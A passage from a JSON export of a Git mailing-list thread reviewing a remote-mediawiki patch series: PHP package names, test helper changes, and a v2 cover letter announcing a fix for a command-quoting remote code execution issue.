contrib/mw-to-git/t/install-wiki/LocalSettings.php\n> delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php\n>\n> --\n> 2.28.0.297.g1956fa8f8d\n>\n>\n"},{"id":"405672","messageId":"20200916134730.GA10150@danh.dev","threadId":"54243","inReplyTo":"20200916102918.29805-4-avarab@gmail.com","subject":"Re: [PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3","fromName":"Đoàn Trần Công Danh","fromEmail":"congdanhqx@gmail.com","sentAt":"2020-09-16T13:47:30Z","receivedAt":"2020-09-16T19:51:51Z","isPatch":true,"sender":{"key":"congdanhqx@gmail.com","avatar":"https://avatars.githubusercontent.com/u/42673067?v=4"},"body":"On 2020-09-16 12:29:06+0200, Ævar Arnfjörð Bjarmason wrote:\n> Change the version in the documentation to what's currently in Debian\n> stable. Ideally we wouldn't have to keep changing this version, but if\n> it's going to be hardcoded let's use something that works on a modern\n> installation.\n> \n> Signed-off-by: Ævar Arnfjörð Bjarmason \n> ---\n> contrib/mw-to-git/t/README | 10 +++++-----\n> 1 file changed, 5 insertions(+), 5 deletions(-)\n> \n> diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README\n> index 2ee34be7e4..d9c85e2c63 100644\n> --- a/contrib/mw-to-git/t/README\n> +++ b/contrib/mw-to-git/t/README\n> @@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be\n> adapted for another distribution):\n> \n> * lighttpd\n> -* php5\n> -* php5-cgi\n> -* php5-cli\n> -* php5-curl\n> -* php5-sqlite\n> +* php7.3\n> +* php7.3-cgi\n> +* php7.3-cli\n> +* php7.3-curl\n> +* php7.3-sqlite\n\nDebian also provides meta package for those packages, built from\nphp-defaults [1]:\n\n* php\n* php-cgi\n* php-cli\n* php-curl\n* php-sqlite3\n\nThey'll pull current php7.3-* packages as dependencies.\n\n1: https://packages.debian.org/source/buster/php-defaults\n\n-- \nDanh\n"},{"id":"405683","messageId":"xmqqlfh9wj20.fsf@gitster.c.googlers.com","threadId":"54243","inReplyTo":"20200916134730.GA10150@danh.dev","subject":"Re: [PATCH 03/15] remote-mediawiki doc: bump recommended PHP version to 7.3","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2020-09-16T20:41:43Z","receivedAt":"2020-09-16T20:42:03Z","isPatch":true,"sender":{"key":"gitster@pobox.com","avatar":"https://avatars.githubusercontent.com/u/54884?v=4"},"body":"Đoàn Trần Công Danh writes:\n\n> On 2020-09-16 12:29:06+0200, Ævar Arnfjörð Bjarmason wrote:\n>> Change the version in the documentation to what's currently in Debian\n>> stable. Ideally we wouldn't have to keep changing this version, but if\n>> it's going to be hardcoded let's use something that works on a modern\n>> installation.\n>> \n>> Signed-off-by: Ævar Arnfjörð Bjarmason \n>> ---\n>> contrib/mw-to-git/t/README | 10 +++++-----\n>> 1 file changed, 5 insertions(+), 5 deletions(-)\n>> \n>> diff --git a/contrib/mw-to-git/t/README b/contrib/mw-to-git/t/README\n>> index 2ee34be7e4..d9c85e2c63 100644\n>> --- a/contrib/mw-to-git/t/README\n>> +++ b/contrib/mw-to-git/t/README\n>> @@ -14,11 +14,11 @@ install the following packages (Debian/Ubuntu names, may need to be\n>> adapted for another distribution):\n>> ...\n> Debian also provides meta package for those packages, built from\n> php-defaults [1]:\n>\n> * php\n> * php-cgi\n> * php-cli\n> * php-curl\n> * php-sqlite3\n>\n> They'll pull current php7.3-* packages as dependencies.\n>\n> 1: https://packages.debian.org/source/buster/php-defaults\n\nLooks like a good way to go. Thanks.\n"},{"id":"405685","messageId":"20200916140407.GB10150@danh.dev","threadId":"54243","inReplyTo":"20200916102918.29805-8-avarab@gmail.com","subject":"Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Đoàn Trần Công Danh","fromEmail":"congdanhqx@gmail.com","sentAt":"2020-09-16T14:04:07Z","receivedAt":"2020-09-16T20:47:02Z","isPatch":true,"sender":{"key":"congdanhqx@gmail.com","avatar":"https://avatars.githubusercontent.com/u/42673067?v=4"},"body":"On 2020-09-16 12:29:10+0200, Ævar Arnfjörð Bjarmason wrote:\n> Change a test that used a plain test_cmp to first check the file(s)\n> using test_path_is_file. If some of these file(s) don't exist (as\n> happened to me during debugging), test_cmp will emit a way less useful\n> message about the failure.\n\nIIRC, <20200809174209.15466-1-sunshine@sunshineco.com> was meant to\nsolve this problem.\n\nThe version you're using (v2.28.0-297-g1956fa8f8d) should have it\nintegrated already. The test should barf with:\n\n\terror: bug in the test script: test_cmp '' missing\n\nAm I missed anything?\n\n-- \nDanh\n\n> \n> Signed-off-by: Ævar Arnfjörð Bjarmason \n> ---\n> contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 7 +++++++\n> 1 file changed, 7 insertions(+)\n> \n> diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n> index 43580af3cf..d3de6c204a 100755\n> --- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n> +++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh\n> @@ -52,9 +52,13 @@ test_expect_success 'git clone works on previously created wiki with media files\n> \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n> \tgit clone -c remote.origin.mediaimport=true \\\n> \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n> +\ttest_path_is_file mw_dir_clone/Foo.txt &&\n> +\ttest_path_is_file mw_dir/Foo.txt &&\n> \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&\n> \t(cd mw_dir_clone && git checkout HEAD^) &&\n> \t(cd mw_dir && git checkout HEAD^) &&\n> +\ttest_path_is_file mw_dir_clone/Foo.txt &&\n> +\ttest_path_is_file mw_dir/Foo.txt &&\n> \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt\n> '\n> \n> @@ -74,6 +78,8 @@ test_expect_success 'git clone works on previously created wiki with media files\n> \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n> \tgit clone -c remote.origin.mediaimport=true \\\n> \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n> +\ttest_path_is_file mw_dir_clone/Bar.txt &&\n> +\ttest_path_is_file mw_dir/Bar.txt &&\n> \ttest_cmp mw_dir_clone/Bar.txt mw_dir/Bar.txt\n> '\n> \n> @@ -90,6 +96,7 @@ test_expect_success 'git push & pull work with locally renamed media files' '\n> \t\tgit commit -m \"Rename a file\" &&\n> \t\ttest_git_reimport &&\n> \t\techo \"A File\" >expect &&\n> +\t\ttest_path_is_file Bar.txt &&\n> \t\ttest_cmp expect Bar.txt &&\n> \t\ttest_path_is_missing Foo.txt\n> \t)\n> -- \n> 2.28.0.297.g1956fa8f8d\n> \n\n-- \nDanh\n"},{"id":"405689","messageId":"CAPig+cRg2tuOiQH_CQoHMjkX2gbRPJoV8NPJZnu3=bfo4wk-cQ@mail.gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-8-avarab@gmail.com","subject":"Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Eric Sunshine","fromEmail":"sunshine@sunshineco.com","sentAt":"2020-09-16T16:53:40Z","receivedAt":"2020-09-16T20:53:59Z","isPatch":true,"sender":{"key":"sunshine@sunshineco.com","avatar":"https://avatars.githubusercontent.com/u/163641?v=4"},"body":"On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason\n wrote:\n> Change a test that used a plain test_cmp to first check the file(s)\n> using test_path_is_file. If some of these file(s) don't exist (as\n> happened to me during debugging), test_cmp will emit a way less useful\n> message about the failure.\n\nAn alternative would be to update test_cmp() to present a more helpful\nerror message so that all test scripts can benefit rather than just\nthis script. By the way, were you testing with a reasonably recent\nversion of Git? I ask because test_cmp() was updated not long ago to\nprovide better diagnostics when one of the files is missing.\n\n[1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)\n"},{"id":"405691","messageId":"20200916102918.29805-6-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH 05/15] remote-mediawiki tests: use a 10 character password","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-16T10:29:08Z","receivedAt":"2020-09-16T21:01:17Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2.\n\nThe web installer now refuses our old 9 character password, the\ncommand-line one (will be used in a subsequent change) will accept it,\nbut trying to use it in the web UI will emit an error asking the user\nto reset the password. Let's use a password that'll just work and\nallow us to log in as the admin user.\n\nSigned-off-by: Ævar Arnfjörð Bjarmason \n---\n contrib/mw-to-git/t/test.config | 2 +-\n 1 file changed, 1 insertion(+), 1 deletion(-)\n\ndiff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config\nindex b6fb0b3993..3ab56c7165 100644\n--- a/contrib/mw-to-git/t/test.config\n+++ b/contrib/mw-to-git/t/test.config\n@@ -3,7 +3,7 @@ WIKI_DIR_NAME=wiki\n \n # Login and password of the wiki's admin\n WIKI_ADMIN=WikiAdmin\n-WIKI_PASSW=AdminPass\n+WIKI_PASSW=AdminPass1\n \n # Address of the web server\n SERVER_ADDR=localhost\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"405699","messageId":"xmqq4knxwhkc.fsf@gitster.c.googlers.com","threadId":"54243","inReplyTo":"CAPig+cRg2tuOiQH_CQoHMjkX2gbRPJoV8NPJZnu3=bfo4wk-cQ@mail.gmail.com","subject":"Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2020-09-16T21:13:55Z","receivedAt":"2020-09-16T22:12:53Z","isPatch":true,"sender":{"key":"gitster@pobox.com","avatar":"https://avatars.githubusercontent.com/u/54884?v=4"},"body":"Eric Sunshine writes:\n\n> On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason\n> wrote:\n>> Change a test that used a plain test_cmp to first check the file(s)\n>> using test_path_is_file. If some of these file(s) don't exist (as\n>> happened to me during debugging), test_cmp will emit a way less useful\n>> message about the failure.\n>\n> An alternative would be to update test_cmp() to present a more helpful\n> error message so that all test scripts can benefit rather than just\n> this script. By the way, were you testing with a reasonably recent\n> version of Git? I ask because test_cmp() was updated not long ago to\n> provide better diagnostics when one of the files is missing.\n>\n> [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)\n\nYes, you did this with the commit,\n\ntest_cmp() {\n\ttest $# -eq 2 || BUG \"test_cmp requires two arguments\"\n\tif ! eval \"$GIT_TEST_CMP\" '\"$@\"'\n\tthen\n\t\ttest \"x$1\" = x- || test -e \"$1\" || BUG \"test_cmp '$1' missing\"\n\t\ttest \"x$2\" = x- || test -e \"$2\" || BUG \"test_cmp '$2' missing\"\n\t\treturn 1\n\tfi\n}\n\nand I do not immediately see why \"test -e\" shouldn't be \"test -f\".\nIt should ideally be \"stdin is OK, otherwise it must be a readable\nregular file\".\n\nThanks.\n\n"},{"id":"405700","messageId":"xmqqwo0tv2y3.fsf@gitster.c.googlers.com","threadId":"54243","inReplyTo":"20200916102918.29805-10-avarab@gmail.com","subject":"Re: [PATCH 09/15] remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2020-09-16T21:15:00Z","receivedAt":"2020-09-16T22:13:56Z","isPatch":true,"sender":{"key":"gitster@pobox.com","avatar":"https://avatars.githubusercontent.com/u/54884?v=4"},"body":"Ævar Arnfjörð Bjarmason writes:\n\n> Change UI messages to use \"$dir/\" instead of \"$dir.\". I think this is\n> less confusing.\n>\n> Signed-off-by: Ævar Arnfjörð Bjarmason \n> ---\n> contrib/mw-to-git/t/test-gitmw-lib.sh | 4 ++--\n> 1 file changed, 2 insertions(+), 2 deletions(-)\n>\n> diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh\n> index a466be8f3f..aa04ebfd0f 100755\n> --- a/contrib/mw-to-git/t/test-gitmw-lib.sh\n> +++ b/contrib/mw-to-git/t/test-gitmw-lib.sh\n> @@ -343,10 +343,10 @@ wiki_install () {\n> \t\t\t\"http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/\"\\\n> \t\t\t\"$MW_FILENAME. \"\\\n> \t\t\t\"Please fix your connection and launch the script again.\"\n> -\t\techo \"$MW_FILENAME downloaded in $(pwd). \"\\\n> +\t\techo \"$MW_FILENAME downloaded in $(pwd)/ \"\\\n> \t\t\t\"You can delete it later if you want.\"\n\n\"$(pwd)/.\" to keep the full-stop of the first sentence?\n\n> \telse\n> -\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd).\"\n> +\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd)/\"\n> \tfi\n> \tarchive_abs_path=$(pwd)/$MW_FILENAME\n> \tcd \"$WIKI_DIR_INST/$WIKI_DIR_NAME/\" ||\n"},{"id":"405807","messageId":"xmqqimccox61.fsf@gitster.c.googlers.com","threadId":"54243","inReplyTo":"20200916185732.GE33925@coredump.intra.peff.net","subject":"Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass","fromName":"Junio C Hamano","fromEmail":"gitster@pobox.com","sentAt":"2020-09-17T22:28:38Z","receivedAt":"2020-09-17T22:28:44Z","isPatch":true,"sender":{"key":"gitster@pobox.com","avatar":"https://avatars.githubusercontent.com/u/54884?v=4"},"body":"Jeff King writes:\n\n> I am a little puzzled about what we want the future of contrib/mw-to-git\n> to be. It sounds like there have been a few minor improvements in the\n> external GitHub project (though clearly lacking a bunch of fixes you\n> have here). Should we be pushing these fixes up to that version and then\n> either:\n>\n> - considering that project the upstream, and reimporting from them\n> once the fixes are merged there\n>\n> - ejecting it from contrib/; it can live on as a separate project\n\nIn general the latter is preferrable.\n\nIf it is not well maintained in upstream, we can keep it in our\ncontrib/ hierarchy forever, but given that nobody among us seems to\nbe motivated and qualified enough to be its true maintainer, and no\nuser seems to be contacting us about its bugs, it is just between\nletting it wither over there or in our contrib/, which does not make\nmuch of a difference, I would think.\n\n\n\n"},{"id":"406017","messageId":"87mu1jh5mv.fsf@evledraar.gmail.com","threadId":"54243","inReplyTo":"CAPig+cRg2tuOiQH_CQoHMjkX2gbRPJoV8NPJZnu3=bfo4wk-cQ@mail.gmail.com","subject":"Re: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T08:54:16Z","receivedAt":"2020-09-21T08:54:20Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"\nOn Wed, Sep 16 2020, Eric Sunshine wrote:\n\n> On Wed, Sep 16, 2020 at 8:17 AM Ævar Arnfjörð Bjarmason\n> wrote:\n>> Change a test that used a plain test_cmp to first check the file(s)\n>> using test_path_is_file. If some of these file(s) don't exist (as\n>> happened to me during debugging), test_cmp will emit a way less useful\n>> message about the failure.\n>\n> An alternative would be to update test_cmp() to present a more helpful\n> error message so that all test scripts can benefit rather than just\n> this script. By the way, were you testing with a reasonably recent\n> version of Git? I ask because test_cmp() was updated not long ago to\n> provide better diagnostics when one of the files is missing.\n>\n> [1]: d572f52a64 (test_cmp: diagnose incorrect arguments, 2020-08-09)\n\nThanks (and also to Đoàn Trần Công Danh in a side-thread). I've dropped\nthis patch. It's indeed better to leave this to a more general facility\nas in your now-integrated test_cmp patch.\n\nThe reason I came up with this now-useless patch is because I originally\nstarted hacking this series on a slightly older version of git, which\ndidn't have that patch.\n"},{"id":"406019","messageId":"87lfh3igfe.fsf@evledraar.gmail.com","threadId":"54243","inReplyTo":"nycvar.QRO.7.76.6.2009162144390.56@tvgsbejvaqbjf.bet","subject":"Re: [PATCH 00/15] remote-mediawiki: various fixes to make tests pass","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:15:49Z","receivedAt":"2020-09-21T10:15:55Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"\nOn Wed, Sep 16 2020, Johannes Schindelin wrote:\n\n> Hi Ævar,\n>\n> On Wed, 16 Sep 2020, Ævar Arnfjörð Bjarmason wrote:\n>\n>> I had occasion to look at remote-mediawiki and I couldn't even get the\n>> test suite to run. The patches below have more detail but there's\n>> issues like a hard error on any Perl release newer than ones released\n>> in 2013, and the MediaWiki release it tries to use spewing errors on\n>> any modern PHP version.\n>>\n>> This series fixes these issues. With it applied it's possible to run\n>> the tests, and they all pass.\n>\n> I glimpsed through the patches, and they all look in pretty good shape. I\n> just wish that the TODO in Simon's patch had been resolved, and that the\n> test failures had been root-caused, but then, I personally do not really\n> care all that much about the `remote-mediawiki` backend any longer, so I\n> am fine with the patches as-are (modulo Danh's/Eric's nit about the\n> extra tests before `test_cmp`).\n\nI didn't look into it much, but isn't it just some general \"feature\" of\nthe remote protocol that it might tell you about a refname twice, and\nyou have to de-duplicate them? I searched a bit for whether that was\ndocumented or not, didn't find it, and moved on.\n\n>>\n>> Simon Legner (1):\n>> remote-mediawiki: fix duplicate revisions being imported\n>>\n>> Ævar Arnfjörð Bjarmason (14):\n>> remote-mediawiki doc: correct link to GitHub project\n>> remote-mediawiki doc: link to MediaWiki's current version\n>> remote-mediawiki doc: bump recommended PHP version to 7.3\n>> remote-mediawiki tests: use the login/password variables\n>> remote-mediawiki tests: use a 10 character password\n>> remote-mediawiki tests: use test_cmp in tests\n>> remote-mediawiki tests: guard test_cmp with test_path_is_file\n>> remote-mediawiki tests: change `[]` to `test`\n>> remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"\n>> remote-mediawiki tests: use a more idiomatic dispatch table\n>> remote-mediawiki tests: replace deprecated Perl construct\n>> remote-mediawiki tests: use inline PerlIO for readability\n>> remote-mediawiki tests: use CLI installer\n>> remote-mediawiki tests: annotate failing tests\n>>\n>> contrib/mw-to-git/git-mw.perl | 2 +-\n>> contrib/mw-to-git/git-remote-mediawiki.perl | 5 +-\n>> contrib/mw-to-git/git-remote-mediawiki.txt | 2 +-\n>> contrib/mw-to-git/t/.gitignore | 2 +-\n>> contrib/mw-to-git/t/README | 10 +-\n>> contrib/mw-to-git/t/install-wiki/.gitignore | 1 -\n>> .../t/install-wiki/LocalSettings.php | 129 --------------\n>> .../mw-to-git/t/install-wiki/db_install.php | 120 -------------\n>> contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 +-\n>> .../t/t9363-mw-to-git-export-import.sh | 15 +-\n>> contrib/mw-to-git/t/test-gitmw-lib.sh | 159 +++++++++---------\n>> contrib/mw-to-git/t/test-gitmw.pl | 22 ++-\n>> contrib/mw-to-git/t/test.config | 23 +--\n>> 13 files changed, 129 insertions(+), 369 deletions(-)\n>> delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore\n>> delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php\n>> delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php\n>>\n>> --\n>> 2.28.0.297.g1956fa8f8d\n>>\n>>\n\n"},{"id":"406020","messageId":"20200921104000.2304-1-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 00/18] remote-mediawiki: fix RCE issue, and the tests","fromName":"Ævar Arnfjörð Bjarmason","fromEmail":"avarab@gmail.com","sentAt":"2020-09-21T10:39:42Z","receivedAt":"2020-09-21T10:40:17Z","isPatch":true,"sender":{"key":"avarab@gmail.com","avatar":"https://avatars.githubusercontent.com/u/45301?v=4"},"body":"This series now has a fix for a remote code execution which previously\nwas only being discussed on the closed git-security list. Per\ndiscussion there the issue is being made public.\n\nBasically, we expect that almost nobody is using this code in the\nfirst place so there wasn't any interest in a point release, and there\nwasn't any downstream interest in an embargo either.\n\nThis v2 addresses (hopefully) all the public & git-security commends\non the v1s of this series.\n\nSimon Legner (1):\n remote-mediawiki: fix duplicate revisions being imported\n\nÆvar Arnfjörð Bjarmason (17):\n remote-mediawiki doc: correct link to GitHub project\n remote-mediawiki doc: link to MediaWiki's current version\n remote-mediawiki doc: don't hardcode Debian PHP versions\n remote-mediawiki tests: use the login/password variables\n remote-mediawiki tests: use a 10 character password\n remote-mediawiki tests: use test_cmp in tests\n remote-mediawiki tests: change `[]` to `test`\n remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"\n remote-mediawiki tests: use a more idiomatic dispatch table\n remote-mediawiki tests: replace deprecated Perl construct\n remote-mediawiki tests: use inline PerlIO for readability\n remote-mediawiki tests: use CLI installer\n remote-mediawiki tests: annotate failing tests\n remote-mediawiki: provide a list form of run_git()\n remote-mediawiki: convert to quoted run_git() invocation\n remote-mediawiki: annotate unquoted uses of run_git()\n remote-mediawiki: use \"sh\" to eliminate unquoted commands\n\n contrib/mw-to-git/git-mw.perl | 2 +-\n contrib/mw-to-git/git-remote-mediawiki.perl | 80 +++++----\n contrib/mw-to-git/git-remote-mediawiki.txt | 2 +-\n contrib/mw-to-git/t/.gitignore | 2 +-\n contrib/mw-to-git/t/README | 10 +-\n contrib/mw-to-git/t/install-wiki/.gitignore | 1 -\n .../t/install-wiki/LocalSettings.php | 129 --------------\n .../mw-to-git/t/install-wiki/db_install.php | 120 -------------\n contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 +-\n .../t/t9363-mw-to-git-export-import.sh | 9 +-\n contrib/mw-to-git/t/test-gitmw-lib.sh | 162 +++++++++---------\n contrib/mw-to-git/t/test-gitmw.pl | 22 ++-\n contrib/mw-to-git/t/test.config | 23 +--\n 13 files changed, 169 insertions(+), 401 deletions(-)\n delete mode 100644 contrib/mw-to-git/t/install-wiki/.gitignore\n delete mode 100644 contrib/mw-to-git/t/install-wiki/LocalSettings.php\n delete mode 100644 contrib/mw-to-git/t/install-wiki/db_install.php\n\nRange-diff:\n 1: 846fcf6e6a ! 1: 9279eed8ea remote-mediawiki doc: bump recommended PHP version to 7.3\n @@ Metadata\n Author: Ævar Arnfjörð Bjarmason \n \n ## Commit message ##\n - remote-mediawiki doc: bump recommended PHP version to 7.3\n + remote-mediawiki doc: don't hardcode Debian PHP versions\n \n - Change the version in the documentation to what's currently in Debian\n - stable. Ideally we wouldn't have to keep changing this version, but if\n - it's going to be hardcoded let's use something that works on a modern\n - installation.\n + Change the hardcoded version 5 PHP versions to the version-agnostic\n + packages. Currently Debian stable's version is 7.3, and there's a\n + php7.3, php7.3-cli etc. package available (but no php5-*).\n +\n + The corresponding version-less package is a dependency package which\n + depends on whatever the current stable version is. By not hardcoding\n + the version these instructions won't be out of date when the next\n + Debian/Ubuntu release happens.\n \n Signed-off-by: Ævar Arnfjörð Bjarmason \n \n @@ contrib/mw-to-git/t/README: install the following packages (Debian/Ubuntu names,\n -* php5-cli\n -* php5-curl\n -* php5-sqlite\n -+* php7.3\n -+* php7.3-cgi\n -+* php7.3-cli\n -+* php7.3-curl\n -+* php7.3-sqlite\n ++* php\n ++* php-cgi\n ++* php-cli\n ++* php-curl\n ++* php-sqlite\n \n Principles and Technical Choices\n --------------------------------\n 2: 83910fbfde = 2: 5aca7b2fb4 remote-mediawiki tests: use the login/password variables\n 3: 6e93ab0e28 ! 3: 66cdbc967e remote-mediawiki tests: use a 10 character password\n @@ Metadata\n ## Commit message ##\n remote-mediawiki tests: use a 10 character password\n \n - In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2.\n + In more recent versions of MediaWiki this is a requirement, e.g. the\n + current stable version of 1.32.2.\n \n The web installer now refuses our old 9 character password, the\n command-line one (will be used in a subsequent change) will accept it,\n 4: 8f89eb334c ! 4: 10f7542bc3 remote-mediawiki tests: use test_cmp in tests\n @@ Metadata\n ## Commit message ##\n remote-mediawiki tests: use test_cmp in tests\n \n - Change code that used an ad-hoc diff invocation to use our test_cmp\n - helper instead. I'm also changing the order of arguments to be the\n - standard \"test_cmp \".\n + Change code that used an ad-hoc \"diff -b\" invocation to use our\n + test_cmp helper instead. I'm also changing the order of arguments to\n + be the standard \"test_cmp \".\n +\n + Using test_cmp has different semantics since the \"-b\" option to diff\n + causes it to ignore whitespace, but in these cases the use of \"-b\" was\n + just meaningless boilerplate. The desired semantics here are to\n + compare \"git log\" lines with know-good data, so we don't want to\n + ignore whitespace.\n \n Signed-off-by: Ævar Arnfjörð Bjarmason \n \n 5: b748cab648 < -: ---------- remote-mediawiki tests: guard test_cmp with test_path_is_file\n 6: 5fdfdf02bb = 5: 4e2fb4b445 remote-mediawiki tests: change `[]` to `test`\n 7: 706ca0e23d ! 6: 5a1362d003 remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"\n @@ Commit message\n remote-mediawiki tests: use \"$dir/\" instead of \"$dir.\"\n \n Change UI messages to use \"$dir/\" instead of \"$dir.\". I think this is\n - less confusing.\n + less confusing when referring to an absolute directory path.\n \n Signed-off-by: Ævar Arnfjörð Bjarmason \n \n @@ contrib/mw-to-git/t/test-gitmw-lib.sh: wiki_install () {\n \t\t\t\"$MW_FILENAME. \"\\\n \t\t\t\"Please fix your connection and launch the script again.\"\n -\t\techo \"$MW_FILENAME downloaded in $(pwd). \"\\\n -+\t\techo \"$MW_FILENAME downloaded in $(pwd)/ \"\\\n - \t\t\t\"You can delete it later if you want.\"\n +-\t\t\t\"You can delete it later if you want.\"\n ++\t\techo \"$MW_FILENAME downloaded in $(pwd)/;\" \\\n ++\t\t \"you can delete it later if you want.\"\n \telse\n -\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd).\"\n +\t\techo \"Reusing existing $MW_FILENAME downloaded in $(pwd)/\"\n 8: 34dde50515 = 7: b79b0053ae remote-mediawiki tests: use a more idiomatic dispatch table\n 9: d45c8f3412 ! 8: 05a9701841 remote-mediawiki tests: replace deprecated Perl construct\n @@ Metadata\n ## Commit message ##\n remote-mediawiki tests: replace deprecated Perl construct\n \n - The use of the encoding pragma has been a hard error since Perl 5.18,\n - which was released in 2013. What this script really wanted to do was\n - to decode @ARGV and write out some files with the UTF-8 PerlIO\n - layer. Let's just do that explicitly instead.\n + The use of the encoding pragma has been a hard error since Perl\n + 5.18 (released in 2013).\n +\n + What this script really wanted to do was to decode @ARGV and write out\n + some files with the UTF-8 PerlIO layer. Let's just do that explicitly\n + instead.\n +\n + This explicitly does not retain the previous UTF-8 semantics of the\n + script. The \"encoding\" pragma had all sorts of global effects (program\n + text being UTF-8, stdin/stdout etc.). But the only thing that was\n + required was decoding @ARGV and writing out UTF-8 data, which is\n + currently facilitated with the \"open\" pragma.\n \n Signed-off-by: Ævar Arnfjörð Bjarmason \n \n10: 75dbb1f772 = 9: ceecab2bf0 remote-mediawiki tests: use inline PerlIO for readability\n11: 6d3b1e9b60 ! 10: cc00c528cb remote-mediawiki tests: use CLI installer\n @@ contrib/mw-to-git/t/test-gitmw-lib.sh: wiki_install () {\n \tfi\n \n -\t# Fetch MediaWiki's archive if not already present in the TMP directory\n -+\t# Fetch MediaWiki's archive if not already present in download directory\n ++\t# Fetch MediaWiki's archive if not already present in the\n ++\t# download directory\n +\tmkdir -p \"$FILES_FOLDER_DOWNLOAD\"\n \tMW_FILENAME=\"mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz\"\n -\tcd \"$TMP\"\n12: 3c29add4d2 = 11: d7fb81d8a2 remote-mediawiki: fix duplicate revisions being imported\n13: 2c3580c8db ! 12: b9b10aed72 remote-mediawiki tests: annotate failing tests\n @@ Commit message\n intermittent test failures. Let's mark these as failing so we can have\n an otherwise passing test suite.\n \n + We need to add an extra test_path_is_file() here because since\n + d572f52a64 (\"test_cmp: diagnose incorrect arguments\", 2020-08-09)\n + test_cmp has errored out with a BUG if one of the test arguments\n + doesn't exist, without that the test would still fail even without\n + test_expect_failure().\n +\n 1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56\n \n Signed-off-by: Ævar Arnfjörð Bjarmason \n @@ contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh: test_expect_success 'git p\n \ttest_when_finished \"rm -rf mw_dir mw_dir_clone\" &&\n \tgit clone -c remote.origin.mediaimport=true \\\n \t\tmediawiki::'\"$WIKI_URL\"' mw_dir_clone &&\n + \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt &&\n + \t(cd mw_dir_clone && git checkout HEAD^) &&\n + \t(cd mw_dir && git checkout HEAD^) &&\n ++\ttest_path_is_file mw_dir_clone/Foo.txt &&\n + \ttest_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt\n + '\n + \n -: ---------- > 13: 7bea20a373 remote-mediawiki: provide a list form of run_git()\n -: ---------- > 14: 46189e2e58 remote-mediawiki: convert to quoted run_git() invocation\n -: ---------- > 15: 2ad06f7334 remote-mediawiki: annotate unquoted uses of run_git()\n -: ---------- > 16: 41cfcab3af remote-mediawiki: use \"sh\" to eliminate unquoted commands\n-- \n2.28.0.297.g1956fa8f8d\n\n"},{"id":"406021","messageId":"20200921104000.2304-4-avarab@gmail.com","threadId":"54243","inReplyTo":"20200916102918.29805-1-avarab@gmail.com","subject":"[PATCH v2 03/18] remote-mediawiki doc: don't hardcode Debian PHP versions","fromName":"Ævar Arnfjörð 